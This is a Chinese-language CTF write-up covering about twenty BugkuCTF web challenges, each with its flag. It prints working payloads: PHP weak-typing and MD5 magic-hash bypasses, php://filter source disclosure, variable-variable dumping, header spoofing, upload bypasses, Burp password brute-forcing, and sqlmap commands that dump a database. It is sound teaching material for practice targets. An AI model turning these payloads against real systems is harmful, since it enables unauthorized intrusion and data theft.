BugkuCTF~Web~WriteUp
今天把之前做的題整理一下,方便有需要的人學習 φ(゜▽゜*)♪
web2
考點:F12的利用
Topic Link: http://123.206.87.240:8002/web2/
開啟連線,特別的不一樣,直接F12可得flag
get flag:
flag KEY{Web-2-bugKssNNikls9100}
計算器
考點:F12的利用
Topic Link: http://120.24.86.145:8002/yanzhengma/
發現輸入框對輸入的資料長度有限制,F12進行修改長度輸入正確結果即可獲得flag一枚
get flag:
flag{CTF-bugku-0032}
web基礎$_GET
考點: 程式碼審計、$_GET利用
Topic Link: http:// 120.24.86.145 :8002/get/
傳送$_GET型資料即可獲得flag一枚
get flag:
flagflag{bugku_get_su8kej2en}
web基礎$_POST
考點:程式碼審計、$_POST利用
Topic Link: http:// 120.24.86.145 :8002/post/
提交$_POST資料即可獲得flag一枚
get flag:
flagflag{bugku_get_ssseint67se}
矛盾
考點:php弱型別
Topic Link: http:// 120.24.86.145 :8002/get/index1.php
$num=$_GET['num']; if(!is_numeric($num)) { echo $num; if($num==1) echo 'flag{**********}'; }
看了確實矛盾,不讓傳遞純數字資料卻要和純數字1相等,該怎麼辦呢,
這裡可以利用PHP的“==”弱型別漏洞進行繞過
構造playload為 http://120.24.86.145:8002/get/index1.php?num=1aaa 即可獲得flag一枚
get flag:
flag{bugku-789-ps-ssdf}
web3
考點:編碼&解碼
Topic Link: http:// 120.24.86.145 :8002/web3/
提示flag在這裡那就在這找吧,F12得到一串特殊的字串,進行ASCII轉化或者直接放入瀏覽器的位址列裡直接回車即可獲得flag一枚
get flag:
KEY{J2sa42ahJK}
域名解析
考點:域名解析
Topic Link:flag.bugku.com
按題目要求域名解析flag.bugku.com,才能得到flag
配置hosts檔案,將120.24.86.145flag.bugku.com新增進去,然後訪問flag.bugku.com即可獲得flag一枚
Linux系統在/etc/hosts目錄下,修改需要root許可權
windows系統在c:\windows\system32\drivers\etc\hosts目錄下,若不讓修改,可以把之前的進行備份然後新建一個hosts文字文件進行追加覆蓋
get flag:
KEY{DSAHDSJ82HDS2211}
你必須讓他停下
考點:網頁抓包分析
Topic Link: http://123.206.87.240:8002/web12/
發現頁面一直在閃動,F12可看到flag is here~,先用BP抓個包分析可知一直點選go的時候,伺服器的響應報文中一個圖片><div><img src="10.jpg"/></div>一直在變,發現當如果是10.jpg的時候伺服器的響應報文中有flag
get flag:
flag{dummy_game_1s_s0_popular}
檔案上傳測試
考點:檔案上傳
Topic Link:http://103.238.227.13:10085/
按要求提交一個PHP檔案,服務端卻提示非圖片檔案
嘗試改字尾名為圖片格式(jpg png gif)卻不行
可能就是Content-Type的緣故,BP抓包,將Content-Type改為image/jpeg即可得到flag一枚
get flag:
Flag:42e97d465f962c53df9549377b513c7e
變數1
考點:php變數覆蓋漏洞 $$
Topic Link: http://120.24.86.145:8004/index1.php
flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>
分析程式碼可以發現是php變數覆蓋漏洞,構造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS
列印變量表中的所有變數,即可獲得flag一枚
get flag:
flag{92853051ab894a64f7865cf3c2128b34}
web5
考點:JS
Topic Link:http://123.206.87.240:8002/web5/
不知道submit什麼,先檢視原始碼發現有一段JS編碼,直接放到控制檯就得到了flag
get flag:
ctf{whatfk}
頭等艙
考點:網頁抓包分析
Topic Link:http://120.24.86.145:9009/hd.php
裡面什麼都沒有,先抓個包看有沒有有用資訊,結果伺服器的響應報文頭部包含flag
get flag:
flag{Bugku_k8_23s_istra}
網站被黑
考點: 字典爆破
Topic Link: http://123.206.87.240:8002/webshell/
根據提示網站存在漏洞,利用御劍掃描工具進行掃描
進入shell.php網頁中,發現需要密碼驗證,利用burpsuite進行爆破
爆破物件
字典選取
讀取結果
輸入pass: hack
get flag:
flag{hack_bug_ku035}
各類爆破字典集下載:
GitHub專案地址:https://github.com/PrettyGir1/Blasting-dictionary
管理員系統
考點:IP偽造、base64編碼
Topic Link: http://123.206.31.85:1003/
F12檢視原始碼發現一個特殊的字串 <!-- dGVzdDEyMw== --> 進行base64解密之後得到==》test123
利用使用者名稱admin嘗試登陸,發現未果,頁面還是提示IP已被記錄,抓包進行偽造IP,在HTTP請求中新增請求頭X-Forwarded-For: 127.0.0.1
在響應包裡面的原始碼裡發現包含flag
get flag:
flag{85ff2ee4171396724bae20c0bd851f6b}
web4
考點:url編碼
Topic Link:http://120.24.86.145:8002/web4/
按提示檢視原始碼
<html> <title>BKCTF-WEB4</title> <body> <div style="display:none;"></div> <form action="index.php" method="post" > 看看原始碼?<br> <br> <script> var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'; var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'; eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); </script> <input type="input" name="flag" id="flag" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
將p1和p2,“%35%34%61%61%32”進行URL解碼或者十六進位制轉換ASCII(不過需要先去除%)
66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 73 73 77 6f 72 64 22 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 29 7b 69 66 28 22 36 37 64 37 30 39 62 32 62 35 34 61 61 32 61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 21 30 3b 61 6c 65 72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 65 76 65 6c 51 75 65 73 74 22 29 2e 6f 6e 73 75 62 6d 69 74 3d 63 68 65 63 6b 53 75 62 6d 69 74 3b
按照eval()函式進行組合,得到一個function函式
function checkSubmit(){ var a=document.getElementById("password"); if("undefined"!=typeof a){ if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1 } } document.getElementById("levelQuest").onsubmit=checkSubmit;
提交字串"67d709b2b54aa2aa648cf6e87a7114f1"即可獲得flag
get flag:
KEY{J22JK-HS11}
flag在index裡
考點:php偽協議
Topic Link: http://123.206.87.240:8005/post/
知識簡介:
php偽協議: file:// — 訪問本地檔案系統 http:// — 訪問 HTTP(s) 網址 ftp:// — 訪問 FTP(s) URLs php:// — 訪問各個輸入/輸出流(I/O streams) zlib:// — 壓縮流 data:// — 資料(RFC 2397) glob:// — 查詢匹配的檔案路徑模式 phar:// — PHP 歸檔 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音訊流 expect:// — 處理互動式的流
點選按鈕:click me? no
進入test5介面
分析
?file=show.php
測試是否存在檔案包含漏洞
利用php偽協議進行測試
根據題目提示:flag在index裡
嘗試payload:?file=php://filter/convert.base64-encode/resource=index.php
獲取index.php經過base64加密的原始碼,對其進行解密:
在原始碼中 get flag:
flag:flag{edulcni_elif_lacol_si_siht}
輸入密碼檢視flag
考點:字典爆破
Topic Link: http://123.206.87.240:8002/baopo/
利用BurpSuite進行爆破密碼
獲取爆破物件
獲取爆破字典
根據Length獲取密碼: 13579
輸入pwd:13579
get flag:
flag{bugku-baopo-hah}
點選一百萬次
考點:程式碼審計
Topic Link: http://123.206.87.240:9001/test/
根據頁面顯示需要點選曲奇1000000次才能夠得到flag,是不是感覺很好玩 *-*
檢視原始碼,分析<script>程式碼
<script> var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 1000000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); }); </script>
通過POST傳遞資料對clicks賦值大於1000000就可以得到flag,是不是比滑鼠點選快好多了,哈哈哈哈哈
get flag:
flag{Not_C00kI3Cl1ck3r}
備份是個好習慣
知識簡介
strstr()函式語法:
strstr — 查詢字串的首次出現 string strstr( string $haystack, mixed $needle[, bool $before_needle = FALSE] ) 返回 haystack 字串從 needle 第一次出現的位置開始到 haystack 結尾的字串。
substr()函式語法:
substr — 返回字串的子串 string substr( string $string, int $start[, int $length] ) 返回字串 string 由 start 和 length 引數指定的子字串。 引數 string 輸入字串。必須至少有一個字元。 start 如果 start 是非負數,返回的字串將從 string 的 start 位置開始,從 0 開始計算。例如,在字串 "abcdef" 中,在位置 0 的字元是 "a",位置 2 的字串是 "c" 等等。 如果 start 是負數,返回的字串將從 string 結尾處向前數第 start 個字元開始。 如果 string 的長度小於 start,將返回 FALSE。 length 如果提供了正數的 length,返回的字串將從 start 處開始最多包括 length 個字元(取決於 string 的長度)。 如果提供了負數的 length,那麼 string 末尾處的 length 個字元將會被省略(若 start 是負數則從字串尾部算起)。如果 start 不在這段文字中,那麼將返回 FALSE。 如果提供了值為 0,FALSE 或 NULL 的 length,那麼將返回一個空字串。 如果沒有提供 length,返回的子字串將從 start 位置開始直到字串結尾。 返回值 返回提取的子字串, 或者在失敗時返回 FALSE。
str_replace()函式語法:
str_replace — 子字串替換 mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] ) 該函式返回一個字串或者陣列。該字串或陣列是將 subject 中全部的 search 都被 replace 替換之後的結果。 如果沒有一些特殊的替換需求(比如正則表示式),你應該使用該函式替換 ereg_replace() 和 preg_replace()。 引數 如果 search 和 replace 為陣列,那麼 str_replace() 將對 subject 做二者的對映替換。如果 replace 的值的個數少於 search 的個數,多餘的替換將使用空字串來進行。如果 search 是一個數組而 replace 是一個字串,那麼 search 中每個元素的替換將始終使用這個字串。該轉換不會改變大小寫。 如果 search 和 replace 都是陣列,它們的值將會被依次處理。 search 查詢的目標值,也就是 needle。一個數組可以指定多個目標。 replace search 的替換值。一個數組可以被用來指定多重替換。 subject 執行替換的陣列或者字串。也就是 haystack。 如果 subject 是一個數組,替換操作將遍歷整個 subject,返回值也將是一個數組。 count 如果被指定,它的值將被設定為替換髮生的次數。 返回值 該函式返回替換後的陣列或者字串。
parse_str()函式語法:
parse_str — 將字串解析成多個變數 void parse_str( string $encoded_string[, array &$result] ) 如果 encoded_string 是 URL 傳遞入的查詢字串(query string),則將它解析為變數並設定到當前作用域(如果提供了 result 則會設定到該數組裡 )。 引數 encoded_string 輸入的字串。 result 如果設定了第二個變數 result,變數將會以陣列元素的形式存入到這個陣列,作為替代。 返回值 沒有返回值。
md5函式語法:
md5 — 計算字串的 MD5 雜湊值 string md5( string $str[, bool $raw_output = false] ) 引數 str 原始字串。 raw_output 如果可選的 raw_output 被設定為 TRUE,那麼 MD5 報文摘要將以16位元組長度的原始二進位制格式返回。 返回值 以 32 字元十六進位制數字形式返回雜湊值。
題目資訊
考點:程式碼審計、MD5
Topic Link: http://123.206.87.240:8002/web16/
利用御劍掃描工具對網站進行掃描得到一個.bak檔案
讀取.bak檔案
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
程式碼審計發現需要滿足幾個條件:1. GET方法進行傳遞資料
2. 傳遞的資料裡面需要有兩個變數key1和key2
3. if(md5($key1) == md5($key2) && $key1 !== $key2) ==》 TRUE
漏洞利用:1. 用雙寫key來繞過str_repalce()函式
2. 利用MD5的特殊字串繞過if(md5($key1) == md5($key2) && $key1 !== $key2)條件
MD5特殊字串:
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
構造payload:
http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=QNKCDZO
get flag:
Bugku{OH_YOU_FIND_MY_MOMY}
成績單
考點:SQL注入
Topic Link: http://123.206.87.240:8002/chengjidan/
檢視介面,進行測試,發現網頁通過POST傳遞ID值來進行改變網頁顯示內容
分析可能存在SQL注入漏洞,利用sqlmap進行測試
測試程式碼
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1"
測試結果,存在SQL注入漏洞,爆出來了資料庫
報表
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag --tables
爆欄位
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g --columns
爆特定欄位值
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump
get flag:
BUGKU{Sql_INJECT0N_4813drd8hz4}
flag.php
考點:程式碼審計、php反序列
地址: http://123.206.87.240:8002/flagphp/
點選login確實沒反應,根據提示:hint 可能是一個變數,嘗試訪問 http://123.206.87.240:8002/flagphp/?hint= 得到網頁原始碼正常資訊
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
程式碼審計發現需要滿足:1. $cookie = $_COOKIE['ISecer']的值必須是經過序列化之後的值
2. unserialize($cookie) === "$KEY" //此處的$key==null
利用BurpSuite抓包在http請求頭部新增cookie欄位:ISecer=s:0:"";
get flag:
flag{unserialize_by_virink}
題目更新+ing